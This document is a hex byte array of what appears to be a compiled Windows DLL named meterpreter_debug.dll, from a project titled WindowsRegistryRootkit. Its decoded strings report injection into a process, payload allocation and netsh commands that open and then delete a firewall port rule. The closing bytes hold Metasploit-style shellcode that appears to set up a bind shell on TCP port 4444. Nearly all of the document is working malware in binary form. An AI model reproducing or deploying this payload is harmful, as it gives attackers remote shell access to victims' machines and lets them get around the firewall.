0x10,0xe8,0x6a,0x02,0x00,0x00,0x83,0xc4,0x10,0x68,0x00,0x80,0x00,0x00,0x6a,0x00,
0x8b,0x4d,0xfc,0x51,0xff,0x15,0x30,0x20,0x00,0x10,0xeb,0x1b,0xff,0x15,0x08,0x20,
0x00,0x10,0x50,0x68,0xe8,0x21,0x00,0x10,0x6a,0x3f,0x68,0x04,0x22,0x00,0x10,0xe8,
0x3c,0x02,0x00,0x00,0x83,0xc4,0x10,0x68,0x14,0x22,0x00,0x10,0x6a,0x43,0x68,0x40,
0x22,0x00,0x10,0xe8,0x28,0x02,0x00,0x00,0x83,0xc4,0x0c,0x6a,0x00,0x68,0x50,0x22,
0x00,0x10,0xff,0x15,0x1c,0x20,0x00,0x10,0x89,0x85,0xec,0xfe,0xff,0xff,0x8b,0x95,
0xec,0xfe,0xff,0xff,0x52,0x68,0x90,0x22,0x00,0x10,0x6a,0x45,0x68,0xb4,0x22,0x00,
0x10,0xe8,0xfa,0x01,0x00,0x00,0x83,0xc4,0x10,0x68,0xc4,0x22,0x00,0x10,0x6a,0x47,
0x68,0xd8,0x22,0x00,0x10,0xe8,0xe6,0x01,0x00,0x00,0x83,0xc4,0x0c,0xff,0xb5,0xe8,
0xfe,0xff,0xff,0x68,0x00,0x80,0x00,0x00,0x6a,0x00,0xff,0x75,0x08,0xff,0x35,0x5c,
0x20,0x00,0x10,0xa1,0x30,0x20,0x00,0x10,0xff,0xe0,0x8b,0x85,0xe8,0xfe,0xff,0xff,
0x5f,0x5e,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x56,0x8b,0x74,0x24,0x08,0x57,0x8b,0x7c,0x24,0x14,0x33,0xc0,0x85,0xff,0x76,0x08,
0x88,0x04,0x30,0x40,0x3b,0xc7,0x72,0xf8,0x33,0xc0,0x85,0xff,0x76,0x13,0x8a,0x4c,
0x24,0x10,0x8a,0x14,0x30,0x32,0xd0,0x02,0xd1,0x88,0x14,0x30,0x40,0x3b,0xc7,0x72,
0xf1,0x5f,0x5e,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x8b,0x44,0x24,0x08,0x81,0xec,0x10,0x02,0x00,0x00,0x83,0xe8,0x01,0x0f,0x85,0xe4,
0x00,0x00,0x00,0x56,0x57,0x68,0x04,0x01,0x00,0x00,0x8d,0x84,0x24,0x18,0x01,0x00,
0x00,0x50,0x6a,0x00,0xc7,0x44,0x24,0x18,0x04,0x01,0x00,0x00,0xff,0x15,0x58,0x20,
0x00,0x10,0x50,0xff,0x15,0x2c,0x20,0x00,0x10,0x8d,0x4c,0x24,0x0c,0x51,0x8d,0x54,
0x24,0x14,0x52,0xff,0x15,0x00,0x20,0x00,0x10,0x8d,0x44,0x24,0x10,0x50,0xff,0x15,
0x20,0x20,0x00,0x10,0x50,0x8d,0x8c,0x24,0x1c,0x01,0x00,0x00,0x51,0x68,0xe8,0x22,
0x00,0x10,0x6a,0x7e,0x68,0x28,0x23,0x00,0x10,0xe8,0x02,0x01,0x00,0x00,0x8b,0xbc,
0x24,0x34,0x02,0x00,0x00,0x8b,0x77,0x3c,0x83,0xc4,0x18,0x8d,0x54,0x24,0x08,0x52,
0x03,0xf7,0xc7,0x44,0x24,0x0c,0x00,0x00,0x00,0x00,0x8b,0x46,0x54,0x6a,0x04,0x50,
0x57,0xff,0x15,0x28,0x20,0x00,0x10,0x85,0xc0,0x74,0x0f,0x8b,0x4e,0x54,0x51,0x6a,
0x00,0x57,0xe8,0x19,0xff,0xff,0xff,0x83,0xc4,0x0c,0x6a,0x00,0x6a,0x00,0x57,0x68,
0x10,0x10,0x00,0x10,0x6a,0x00,0x6a,0x00,0xff,0x15,0x14,0x20,0x00,0x10,0x5f,0x5e,
0x85,0xc0,0x74,0x15,0x50,0xff,0x15,0x0c,0x20,0x00,0x10,0xb8,0x01,0x00,0x00,0x00,
0x81,0xc4,0x10,0x02,0x00,0x00,0xc2,0x0c,0x00,0xff,0x15,0x08,0x20,0x00,0x10,0x50,
0x68,0x38,0x23,0x00,0x10,0x68,0x94,0x00,0x00,0x00,0x68,0x54,0x23,0x00,0x10,0xe8,
0x7c,0x00,0x00,0x00,0x83,0xc4,0x10,0xb8,0x01,0x00,0x00,0x00,0x81,0xc4,0x10,0x02,
0x00,0x00,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x6a,0x40,0x68,0x64,0x23,0x00,0x10,0x68,0x6c,0x23,0x00,0x10,0x6a,0x00,0xff,0x15,
0x68,0x20,0x00,0x10,0x6a,0x00,0xff,0x15,0x34,0x20,0x00,0x10,0xcc,0xcc,0xcc,0xcc,
0x53,0x8b,0x1d,0x38,0x20,0x00,0x10,0x55,0x56,0x57,0x8b,0x7c,0x24,0x14,0x57,0x8b,
0xef,0x33,0xf6,0xff,0xd3,0x85,0xc0,0x7e,0x1e,0x8d,0xa4,0x24,0x00,0x00,0x00,0x00,
0x8a,0x04,0x3e,0x3c,0x5c,0x74,0x04,0x3c,0x2f,0x75,0x04,0x8d,0x6c,0x3e,0x01,0x57,
0x46,0xff,0xd3,0x3b,0xf0,0x7c,0xe9,0x5f,0x5e,0x8b,0xc5,0x5d,0x5b,0xc3,0xcc,0xcc,
0x51,0x56,0x8b,0x35,0x54,0x20,0x00,0x10,0x57,0x68,0x7c,0x23,0x00,0x10,0x68,0x84,
0x23,0x00,0x10,0xff,0xd6,0x8b,0x3d,0x50,0x20,0x00,0x10,0x50,0xff,0xd7,0x89,0x44,
0x24,0x08,0x85,0xc0,0x0f,0x84,0xf1,0x00,0x00,0x00,0x55,0x68,0x90,0x23,0x00,0x10,
0x68,0x9c,0x23,0x00,0x10,0xff,0xd6,0x50,0xff,0xd7,0x8b,0xe8,0x85,0xed,0x0f,0x84,
0xd6,0x00,0x00,0x00,0x68,0xa8,0x23,0x00,0x10,0x68,0xb4,0x23,0x00,0x10,0xff,0xd6,
0x50,0xff,0xd7,0x85,0xc0,0x0f,0x84,0xbf,0x00,0x00,0x00,0x8b,0x54,0x24,0x1c,0x53,
0x8d,0x4c,0x24,0x24,0x51,0x52,0xff,0xd0,0x8b,0x1d,0x4c,0x20,0x00,0x10,0x8b,0xf8,
0x83,0xc4,0x08,0x81,0xc7,0x00,0x01,0x00,0x00,0x57,0x6a,0x00,0xff,0xd3,0x8b,0xf0,
0x85,0xf6,0x0f,0x84,0x91,0x00,0x00,0x00,0x57,0x6a,0x00,0xff,0xd3,0x8b,0xf8,0x85,
0xff,0x75,0x0d,0x56,0xff,0x15,0x48,0x20,0x00,0x10,0x5b,0x5d,0x5f,0x5e,0x59,0xc3,
0x8b,0x4c,0x24,0x20,0x8d,0x44,0x24,0x24,0x50,0x51,0x56,0xff,0xd5,0x8b,0x54,0x24,
0x28,0x8b,0x44,0x24,0x24,0x83,0xc4,0x0c,0x56,0x52,0x50,0xe8,0x00,0xff,0xff,0xff,
0x83,0xc4,0x04,0x50,0xff,0x15,0x20,0x20,0x00,0x10,0x50,0x68,0xc0,0x23,0x00,0x10,
0x57,0xff,0x54,0x24,0x28,0x83,0xc4,0x18,0x57,0xff,0x15,0x44,0x20,0x00,0x10,0x6a,
0xf5,0xff,0x15,0x40,0x20,0x00,0x10,0x8b,0xd8,0x83,0xfb,0xff,0x74,0x1f,0x6a,0x00,
0x8d,0x4c,0x24,0x14,0x51,0x56,0xc7,0x44,0x24,0x1c,0x00,0x00,0x00,0x00,0xff,0x15,
0x38,0x20,0x00,0x10,0x50,0x56,0x53,0xff,0x15,0x3c,0x20,0x00,0x10,0x57,0x8b,0x3d,
0x48,0x20,0x00,0x10,0xff,0xd7,0x56,0xff,0xd7,0x5b,0x5d,0x5f,0x5e,0x59,0xc3,0xcc,
0xff,0x25,0x5c,0x20,0x00,0x10,0xff,0x25,0x30,0x20,0x00,0x10,0xff,0x25,0x08,0x20,
0x00,0x10,0xff,0x25,0x0c,0x20,0x00,0x10,0xff,0x25,0x10,0x20,0x00,0x10,0xff,0x25,
0x14,0x20,0x00,0x10,0xff,0x25,0x18,0x20,0x00,0x10,0xff,0x25,0x1c,0x20,0x00,0x10,
0xff,0x25,0x20,0x20,0x00,0x10,0xff,0x25,0x24,0x20,0x00,0x10,0xff,0x25,0x28,0x20,
0x00,0x10,0xff,0x25,0x2c,0x20,0x00,0x10,0xff,0x25,0x58,0x20,0x00,0x10,0xff,0x25,
0x34,0x20,0x00,0x10,0xff,0x25,0x38,0x20,0x00,0x10,0xff,0x25,0x3c,0x20,0x00,0x10,
0xff,0x25,0x40,0x20,0x00,0x10,0xff,0x25,0x44,0x20,0x00,0x10,0xff,0x25,0x48,0x20,
0x00,0x10,0xff,0x25,0x4c,0x20,0x00,0x10,0xff,0x25,0x50,0x20,0x00,0x10,0xff,0x25,
0x54,0x20,0x00,0x10,0xff,0x25,0x64,0x20,0x00,0x10,0xff,0x25,0x68,0x20,0x00,0x10,
0xff,0x25,0x00,0x20,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x36,0x26,0x00,0x00,0x00,0x00,0x00,0x00,0xb4,0x24,0x00,0x00,0xc4,0x24,0x00,0x00,
0xd2,0x24,0x00,0x00,0xe8,0x24,0x00,0x00,0xf8,0x24,0x00,0x00,0x08,0x25,0x00,0x00,
0x12,0x25,0x00,0x00,0x28,0x25,0x00,0x00,0x3e,0x25,0x00,0x00,0x50,0x25,0x00,0x00,
0xa6,0x24,0x00,0x00,0x7a,0x25,0x00,0x00,0x88,0x25,0x00,0x00,0x94,0x25,0x00,0x00,
0xa0,0x25,0x00,0x00,0xb0,0x25,0x00,0x00,0xc6,0x25,0x00,0x00,0xd2,0x25,0x00,0x00,
0xe0,0x25,0x00,0x00,0xf2,0x25,0x00,0x00,0x66,0x25,0x00,0x00,0x98,0x24,0x00,0x00,
0x00,0x00,0x00,0x00,0x10,0x26,0x00,0x00,0x1c,0x26,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x80,0x01,0xe4,0x50,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x61,0x00,0x00,0x00,0xb0,0x26,0x00,0x00,0xb0,0x10,0x00,0x00,0x4d,0x61,0x69,0x6e,
0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x3a,0x20,0x54,0x68,0x72,0x65,0x61,0x64,
0x20,0x25,0x78,0x3a,0x25,0x78,0x20,0x73,0x74,0x61,0x72,0x74,0x65,0x64,0x0a,0x00,
0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,
0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x3a,0x20,0x41,0x64,
0x64,0x69,0x6e,0x67,0x20,0x66,0x69,0x72,0x65,0x77,0x61,0x6c,0x6c,0x20,0x72,0x75,
0x6c,0x65,0x20,0x66,0x6f,0x72,0x20,0x54,0x43,0x50,0x20,0x70,0x6f,0x72,0x74,0x20,
0x25,0x64,0x2e,0x2e,0x2e,0x0a,0x00,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,
0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,0x63,0x6d,0x64,0x2e,0x65,0x78,0x65,0x20,
0x2f,0x43,0x20,0x6e,0x65,0x74,0x73,0x68,0x20,0x66,0x69,0x72,0x65,0x77,0x61,0x6c,
0x6c,0x20,0x61,0x64,0x64,0x20,0x70,0x6f,0x72,0x74,0x6f,0x70,0x65,0x6e,0x69,0x6e,
0x67,0x20,0x54,0x43,0x50,0x20,0x25,0x64,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x00,
0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x3a,0x20,0x44,0x6f,
0x6e,0x65,0x20,0x28,0x65,0x78,0x69,0x74,0x20,0x63,0x6f,0x64,0x65,0x3a,0x20,0x25,
0x64,0x29,0x0a,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,
0x70,0x00,0x00,0x00,0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,
0x3a,0x20,0x41,0x6c,0x6c,0x6f,0x63,0x61,0x74,0x65,0x64,0x20,0x25,0x64,0x20,0x62,
0x79,0x74,0x65,0x73,0x20,0x66,0x6f,0x72,0x20,0x70,0x61,0x79,0x6c,0x6f,0x61,0x64,
0x20,0x61,0x74,0x20,0x30,0x78,0x25,0x78,0x0a,0x00,0x00,0x00,0x2e,0x5c,0x64,0x6c,
0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,0x43,0x72,0x65,0x61,
0x74,0x65,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,
0x20,0x25,0x64,0x0a,0x00,0x00,0x00,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,
0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,0x56,0x69,0x72,0x74,0x75,0x61,0x6c,0x41,
0x6c,0x6c,0x6f,0x63,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,0x20,0x25,0x64,0x0a,
0x00,0x00,0x00,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,
0x70,0x00,0x00,0x00,0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,
0x3a,0x20,0x44,0x65,0x6c,0x65,0x74,0x69,0x6e,0x67,0x20,0x66,0x69,0x72,0x65,0x77,
0x61,0x6c,0x6c,0x20,0x72,0x75,0x6c,0x65,0x2e,0x2e,0x2e,0x0a,0x00,0x00,0x00,0x00,
0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,
0x63,0x6d,0x64,0x2e,0x65,0x78,0x65,0x20,0x2f,0x43,0x20,0x6e,0x65,0x74,0x73,0x68,
0x20,0x61,0x64,0x76,0x66,0x69,0x72,0x65,0x77,0x61,0x6c,0x6c,0x20,0x66,0x69,0x72,
0x65,0x77,0x61,0x6c,0x6c,0x20,0x64,0x65,0x6c,0x65,0x74,0x65,0x20,0x72,0x75,0x6c,
0x65,0x20,0x6e,0x61,0x6d,0x65,0x3d,0x53,0x79,0x73,0x74,0x65,0x6d,0x00,0x00,0x00,
0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,0x3a,0x20,0x44,0x6f,
0x6e,0x65,0x20,0x28,0x65,0x78,0x69,0x74,0x20,0x63,0x6f,0x64,0x65,0x3a,0x20,0x25,
0x64,0x29,0x0a,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,
0x70,0x00,0x00,0x00,0x4d,0x61,0x69,0x6e,0x54,0x68,0x72,0x65,0x61,0x64,0x28,0x29,
0x3a,0x20,0x45,0x58,0x49,0x54,0x0a,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,
0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,0x44,0x6c,0x6c,0x4d,0x61,0x69,0x6e,0x28,
0x29,0x3a,0x20,0x49,0x6e,0x6a,0x65,0x63,0x74,0x65,0x64,0x20,0x69,0x6e,0x74,0x6f,
0x20,0x70,0x72,0x6f,0x63,0x65,0x73,0x73,0x20,0x22,0x25,0x73,0x22,0x20,0x28,0x50,
0x49,0x44,0x3d,0x25,0x64,0x29,0x2c,0x20,0x55,0x73,0x65,0x72,0x20,0x3d,0x20,0x22,
0x25,0x73,0x22,0x0a,0x00,0x00,0x00,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,
0x6e,0x2e,0x63,0x70,0x70,0x00,0x00,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x54,0x68,
0x72,0x65,0x61,0x64,0x28,0x29,0x20,0x45,0x52,0x52,0x4f,0x52,0x20,0x25,0x64,0x0a,
0x00,0x00,0x00,0x00,0x2e,0x5c,0x64,0x6c,0x6c,0x6d,0x61,0x69,0x6e,0x2e,0x63,0x70,
0x70,0x00,0x00,0x00,0x44,0x75,0x6d,0x6d,0x79,0x28,0x29,0x00,0x3c,0x4f,0x4b,0x3e,
0x20,0x74,0x6f,0x20,0x65,0x78,0x69,0x74,0x2e,0x2e,0x2e,0x00,0x73,0x70,0x72,0x69,
0x6e,0x74,0x66,0x00,0x6d,0x73,0x76,0x63,0x72,0x74,0x2e,0x64,0x6c,0x6c,0x00,0x00,
0x76,0x73,0x70,0x72,0x69,0x6e,0x74,0x66,0x00,0x00,0x00,0x00,0x6d,0x73,0x76,0x63,
0x72,0x74,0x2e,0x64,0x6c,0x6c,0x00,0x00,0x5f,0x76,0x73,0x63,0x70,0x72,0x69,0x6e,
0x74,0x66,0x00,0x00,0x6d,0x73,0x76,0x63,0x72,0x74,0x2e,0x64,0x6c,0x6c,0x00,0x00,
0x5b,0x25,0x2e,0x35,0x64,0x5d,0x20,0x2e,0x5c,0x25,0x73,0x28,0x25,0x64,0x29,0x20,
0x3a,0x20,0x25,0x73,0x00,0x00,0x00,0x00,0x30,0x24,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x02,0x26,0x00,0x00,0x08,0x20,0x00,0x00,0x8c,0x24,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2a,0x26,0x00,0x00,0x64,0x20,0x00,0x00,
0x28,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x26,0x00,0x00,
0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x36,0x26,0x00,0x00,0x00,0x00,0x00,0x00,
0xb4,0x24,0x00,0x00,0xc4,0x24,0x00,0x00,0xd2,0x24,0x00,0x00,0xe8,0x24,0x00,0x00,
0xf8,0x24,0x00,0x00,0x08,0x25,0x00,0x00,0x12,0x25,0x00,0x00,0x28,0x25,0x00,0x00,
0x3e,0x25,0x00,0x00,0x50,0x25,0x00,0x00,0xa6,0x24,0x00,0x00,0x7a,0x25,0x00,0x00,
0x88,0x25,0x00,0x00,0x94,0x25,0x00,0x00,0xa0,0x25,0x00,0x00,0xb0,0x25,0x00,0x00,
0xc6,0x25,0x00,0x00,0xd2,0x25,0x00,0x00,0xe0,0x25,0x00,0x00,0xf2,0x25,0x00,0x00,
0x66,0x25,0x00,0x00,0x98,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x26,0x00,0x00,
0x1c,0x26,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x01,0x45,0x78,0x69,0x74,0x54,0x68,
0x72,0x65,0x61,0x64,0x00,0x00,0x57,0x04,0x56,0x69,0x72,0x74,0x75,0x61,0x6c,0x46,
0x72,0x65,0x65,0x00,0xe6,0x01,0x47,0x65,0x74,0x4c,0x61,0x73,0x74,0x45,0x72,0x72,
0x6f,0x72,0x00,0x00,0x43,0x00,0x43,0x6c,0x6f,0x73,0x65,0x48,0x61,0x6e,0x64,0x6c,
0x65,0x00,0x64,0x04,0x57,0x61,0x69,0x74,0x46,0x6f,0x72,0x53,0x69,0x6e,0x67,0x6c,
0x65,0x4f,0x62,0x6a,0x65,0x63,0x74,0x00,0xa3,0x00,0x43,0x72,0x65,0x61,0x74,0x65,
0x54,0x68,0x72,0x65,0x61,0x64,0x00,0x00,0x54,0x04,0x56,0x69,0x72,0x74,0x75,0x61,
0x6c,0x41,0x6c,0x6c,0x6f,0x63,0x00,0x00,0x7b,0x04,0x57,0x69,0x6e,0x45,0x78,0x65,
0x63,0x00,0xaa,0x01,0x47,0x65,0x74,0x43,0x75,0x72,0x72,0x65,0x6e,0x74,0x50,0x72,
0x6f,0x63,0x65,0x73,0x73,0x49,0x64,0x00,0xad,0x01,0x47,0x65,0x74,0x43,0x75,0x72,
0x72,0x65,0x6e,0x74,0x54,0x68,0x72,0x65,0x61,0x64,0x49,0x64,0x00,0x00,0x5a,0x04,
0x56,0x69,0x72,0x74,0x75,0x61,0x6c,0x50,0x72,0x6f,0x74,0x65,0x63,0x74,0x00,0x00,
0xf4,0x01,0x47,0x65,0x74,0x4d,0x6f,0x64,0x75,0x6c,0x65,0x46,0x69,0x6c,0x65,0x4e,
0x61,0x6d,0x65,0x41,0x00,0x00,0xf6,0x01,0x47,0x65,0x74,0x4d,0x6f,0x64,0x75,0x6c,
0x65,0x48,0x61,0x6e,0x64,0x6c,0x65,0x41,0x00,0x00,0x04,0x01,0x45,0x78,0x69,0x74,
0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x00,0xb5,0x04,0x6c,0x73,0x74,0x72,0x6c,0x65,
0x6e,0x41,0x00,0x00,0x8d,0x04,0x57,0x72,0x69,0x74,0x65,0x46,0x69,0x6c,0x65,0x00,
0x3b,0x02,0x47,0x65,0x74,0x53,0x74,0x64,0x48,0x61,0x6e,0x64,0x6c,0x65,0x00,0x00,
0x3a,0x03,0x4f,0x75,0x74,0x70,0x75,0x74,0x44,0x65,0x62,0x75,0x67,0x53,0x74,0x72,
0x69,0x6e,0x67,0x41,0x00,0x00,0xfd,0x02,0x4c,0x6f,0x63,0x61,0x6c,0x46,0x72,0x65,
0x65,0x00,0xf9,0x02,0x4c,0x6f,0x63,0x61,0x6c,0x41,0x6c,0x6c,0x6f,0x63,0x00,0x00,
0x20,0x02,0x47,0x65,0x74,0x50,0x72,0x6f,0x63,0x41,0x64,0x64,0x72,0x65,0x73,0x73,
0x00,0x00,0xf1,0x02,0x4c,0x6f,0x61,0x64,0x4c,0x69,0x62,0x72,0x61,0x72,0x79,0x41,
0x00,0x00,0x4b,0x45,0x52,0x4e,0x45,0x4c,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00,0x00,
0x07,0x03,0x77,0x73,0x70,0x72,0x69,0x6e,0x74,0x66,0x41,0x00,0xf8,0x01,0x4d,0x65,
0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x41,0x00,0x55,0x53,0x45,0x52,0x33,0x32,
0x2e,0x64,0x6c,0x6c,0x00,0x00,0x5e,0x01,0x47,0x65,0x74,0x55,0x73,0x65,0x72,0x4e,
0x61,0x6d,0x65,0x41,0x00,0x00,0x41,0x44,0x56,0x41,0x50,0x49,0x33,0x32,0x2e,0x64,
0x6c,0x6c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x80,0x01,0xe4,0x50,0x00,0x00,0x00,0x00,0x92,0x26,0x00,0x00,
0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x88,0x26,0x00,0x00,
0x8c,0x26,0x00,0x00,0x90,0x26,0x00,0x00,0x60,0x13,0x00,0x00,0xa8,0x26,0x00,0x00,
0x00,0x00,0x6d,0x65,0x74,0x65,0x72,0x70,0x72,0x65,0x74,0x65,0x72,0x5f,0x64,0x65,
0x62,0x75,0x67,0x2e,0x64,0x6c,0x6c,0x00,0x44,0x75,0x6d,0x6d,0x79,0x00,0x00,0x00,
0x52,0x53,0x44,0x53,0x82,0x5a,0x19,0x91,0x44,0xdc,0xaa,0x48,0x8a,0xc8,0x7d,0xac,
0xf1,0xd6,0xba,0x09,0x01,0x00,0x00,0x00,0x58,0x3a,0x5c,0x64,0x65,0x76,0x5c,0x5f,
0x65,0x78,0x70,0x6c,0x6f,0x69,0x74,0x73,0x5c,0x5f,0x4c,0x6f,0x63,0x61,0x6c,0x5c,
0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x52,0x65,0x67,0x69,0x73,0x74,0x72,0x79,0x52,
0x6f,0x6f,0x74,0x6b,0x69,0x74,0x5c,0x73,0x72,0x63,0x5c,0x6d,0x65,0x74,0x65,0x72,
0x70,0x72,0x65,0x74,0x65,0x72,0x5f,0x64,0x65,0x62,0x75,0x67,0x2e,0x70,0x64,0x62,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,
0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,
0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,
0xd5,0x97,0x31,0xdb,0x53,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,
0x68,0xc2,0xdb,0x37,0x67,0xff,0xd5,0x53,0x57,0x68,0xb7,0xe9,0x38,0xff,0xff,0xd5,
0x53,0x53,0x57,0x68,0x74,0xec,0x3b,0xe1,0xff,0xd5,0x57,0x97,0x68,0x75,0x6e,0x4d,
